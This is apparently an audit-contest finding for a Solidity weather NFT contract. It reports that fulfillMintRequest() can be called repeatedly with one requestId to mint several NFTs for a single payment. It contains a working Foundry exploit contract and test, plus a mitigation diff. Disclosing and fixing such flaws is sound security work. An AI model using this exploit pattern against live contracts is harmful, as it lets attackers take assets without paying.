Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Re-entry fulfillMintRequest() with same request ID can mint multiple NFTs

Re-entry fulfillMintRequest() with same request ID can mint multiple NFTs for the price of one.

Description

  • Normally, the minting process for a Weather NFT is designed as a two-step procedure. First, a user calls requestMintWeatherNFT() to initiate a Chainlink Functions request for weather data and pays the associated minting fee. After the Chainlink Functions oracle fulfills this request by returning the weather data to the contract, the user is expected to call fulfillMintRequest() once to finalize the minting of a single NFT based on that data and payment.

    However, the fulfillMintRequest() function fails to invalidate or delete the associated requestId from its internal mappings (s_funcReqIdToMintFunctionReqResponse and s_funcReqIdToUserMintReq) before completing the minting process and executing potential external calls (like the _mint operation). This critical omission allows a malicious smart contract, acting as msg.sender, to call fulfillMintRequest() multiple times with the same valid requestId within a single transaction, effectively processing the request and minting additional NFTs without requiring additional payment.

Risk

Likelihood: High

  • The fulfillMintRequest() function can be called by any smart contract, which can be programmed to perform re-entrant calls.

  • The state for a given requestId (s_funcReqIdToMintFunctionReqResponse and s_funcReqIdToUserMintReq) is not cleared after initial validation and is still present when the _mint() external call is executed, allowing subsequent re-entrant calls with the same requestId to pass the initial require conditions.

Impact: High

  • An attacker can mint multiple NFTs for a single payment. This directly impacts the integrity of the NFT supply.

Proof of Concept

// --- Malicious contract designed to exploit the reentrancy vulnerability ---
contract MaliciousReentrantAttacker {
WeatherNft public weatherNft;
bytes32 public storedRequestId; // To store the request ID for re-use
constructor(address _weatherNftAddress) {
weatherNft = WeatherNft(_weatherNftAddress);
}
// Function to initiate the mint request
function initiateMintRequest(
string memory _pincode,
string memory _isoCode,
bool _registerKeeper,
uint256 _heartbeat,
uint256 _initLinkDeposit
) external payable {
// Call the legitimate requestMintWeatherNFT function, paying the mint price
weatherNft.requestMintWeatherNFT{value: msg.value}(
_pincode, _isoCode, _registerKeeper, _heartbeat, _initLinkDeposit
);
}
// Function to call fulfillMintRequest and then immediately re-enter it
function fulfillMintAndReenter(bytes32 requestId) external {
storedRequestId = requestId; // Store the request ID
// First call to the vulnerable function
weatherNft.fulfillMintRequest(requestId);
// Second call to the vulnerable function with the SAME requestId
weatherNft.fulfillMintRequest(requestId);
// A real attacker might try more calls here...
// weatherNft.fulfillMintRequest(requestId);
// weatherNft.fulfillMintRequest(requestId);
}
}
function test_reentrancyInFulfillMintRequest() public {
// --- 1. Deploy the MaliciousReentrantAttacker contract ---
// This contract will attempt the reentrancy attack.
vm.startPrank(user); // Deploy by user
MaliciousReentrantAttacker attackerContract = new MaliciousReentrantAttacker(address(weatherNft));
vm.stopPrank();
// Fund the attacker contract with native tokens to pay for minting
vm.deal(address(attackerContract), 100e18); // Give it 100 ETH
console.log("MaliciousReentrantAttacker deployed at:", address(attackerContract));
console.log("Attacker contract balance:", address(attackerContract).balance);
// --- 2. Prepare for minting parameters ---
string memory pincode = "10001";
string memory isoCode = "US";
bool registerKeeper = false; // Simplified for this test
uint256 heartbeat = 1 hours;
uint256 mintPrice = weatherNft.s_currentMintPrice();
// Get the expected token ID *before* the minting transaction starts
uint256 initialTokenCounter = weatherNft.s_tokenCounter();
console.log("Initial token counter:", initialTokenCounter);
// --- 3. Malicious contract initiates the mint request ---
// The attacker contract calls `requestMintWeatherNFT` via its wrapper function.
vm.startPrank(address(attackerContract)); // Prank with the attacker contract's address
vm.recordLogs(); // Start recording logs to capture the mint request ID
attackerContract.initiateMintRequest{value: mintPrice}(pincode, isoCode, registerKeeper, heartbeat, 0);
vm.stopPrank();
// Extract the `mintReqId` from the emitted `WeatherNFTMintRequestSent` event
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 mintReqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(address userAddr, string memory p, string memory iso, bytes32 id) =
abi.decode(logs[i].data, (address, string, string, bytes32));
mintReqId = id;
break;
}
}
assert(mintReqId != bytes32(0));
// console.log( mintReqId);
// --- 4. Simulate Chainlink Functions fulfillment ---
// This makes `fulfillMintRequest` callable.
vm.prank(functionsRouter); // Prank with the Chainlink Functions Router address
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.SUNNY); // Example weather response
weatherNft.handleOracleFulfillment(mintReqId, weatherResponse, "");
console.log("Chainlink Functions fulfillment simulated for mint request.");
// --- 5. Malicious contract calls fulfillMintAndReenter ---
// This function will call fulfillMintRequest and then immediately call it again.
vm.startPrank(address(attackerContract)); // Prank with the attacker contract's address
attackerContract.fulfillMintAndReenter(mintReqId);
vm.stopPrank();
console.log("Attacker contract called fulfillMintAndReenter.");
// --- 6. Verify Multiple NFTs Minted ---
// Check the final token counter. It should have increased by more than 1
// for a single initial request payment.
uint256 finalTokenCounter = weatherNft.s_tokenCounter();
console.log("Final token counter:", finalTokenCounter);
// Since the attacker called fulfillMintRequest twice with the same ID,
// the token counter should have increased by 2.
assertEq(
finalTokenCounter, initialTokenCounter + 2, "Token counter should have increased by 2 due to reentrancy."
);
// Verify the ownership of the minted tokens.
// The first minted token ID will be initialTokenCounter.
// The second minted token ID will be initialTokenCounter + 1.
assertEq(
weatherNft.ownerOf(initialTokenCounter),
address(attackerContract),
"First minted NFT should be owned by the attacker contract."
);
console.log("NFT (ID:", initialTokenCounter, ") owned by:", weatherNft.ownerOf(initialTokenCounter));
assertEq(
weatherNft.ownerOf(initialTokenCounter + 1),
address(attackerContract),
"Second minted NFT should be owned by the attacker contract."
);
console.log("NFT (ID:", initialTokenCounter + 1, ") owned by:", weatherNft.ownerOf(initialTokenCounter + 1));
// Note: A successful reentrancy means the attacker got multiple NFTs for the price of one.
// This test proves the state vulnerability allowing the same request ID to be processed multiple times.
}

Recommended Mitigation

Immediately after validating the request and before performing any external calls (like _mint), delete the requestId entries from s_funcReqIdToMintFunctionReqResponse and s_funcReqIdToUserMintReq. This invalidates the requestId for subsequent attempts.

function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
require(_userMintRequest.user == msg.sender, WeatherNft__Unauthorized());
+ // Clear request state first
+ delete s_funcReqIdToMintFunctionReqResponse[requestId];
+ delete s_funcReqIdToUserMintReq[requestId];
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
emit WeatherNFTMinted(requestId, msg.sender, Weather(weather));
_mint(msg.sender, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);
uint256 upkeepId;
if (_userMintRequest.registerKeeper) {
// Register chainlink keeper to pull weather data in order to automate weather nft
LinkTokenInterface(s_link).approve(s_keeperRegistrar, _userMintRequest.initLinkDeposit);
IAutomationRegistrarInterface.RegistrationParams memory _keeperParams = IAutomationRegistrarInterface
.RegistrationParams({
name: string.concat("Weather NFT Keeper: ", Strings.toString(tokenId)),
encryptedEmail: "",
upkeepContract: address(this),
gasLimit: s_upkeepGaslimit,
adminAddress: address(this),
triggerType: 0,
checkData: abi.encode(tokenId),
triggerConfig: "",
offchainConfig: "",
amount: uint96(_userMintRequest.initLinkDeposit)
});
upkeepId = IAutomationRegistrarInterface(s_keeperRegistrar).registerUpkeep(_keeperParams);
}
s_weatherNftInfo[tokenId] = WeatherNftInfo({
heartbeat: _userMintRequest.heartbeat,
lastFulfilledAt: block.timestamp,
upkeepId: upkeepId,
pincode: _userMintRequest.pincode,
isoCode: _userMintRequest.isoCode
});
}
function _fulfillWeatherUpdate(bytes32 requestId, bytes memory response, bytes memory err) internal {
if (response.length == 0 || err.length > 0) {
return;
}
uint256 tokenId = s_funcReqIdToTokenIdUpdate[requestId];
+ // Clear the state for this update request once fulfilled
+ delete s_funcReqIdToTokenIdUpdate[requestId];
uint8 weather = abi.decode(response, (uint8));
s_weatherNftInfo[tokenId].lastFulfilledAt = block.timestamp;
s_tokenIdToWeather[tokenId] = Weather(weather);
emit NftWeatherUpdated(tokenId, Weather(weather));
}
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Multiple tokens for one `requestId`

The `WeatherNFT::fulfillMintRequest` allows a malicious user to call multiple times the function with the same `requestId`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.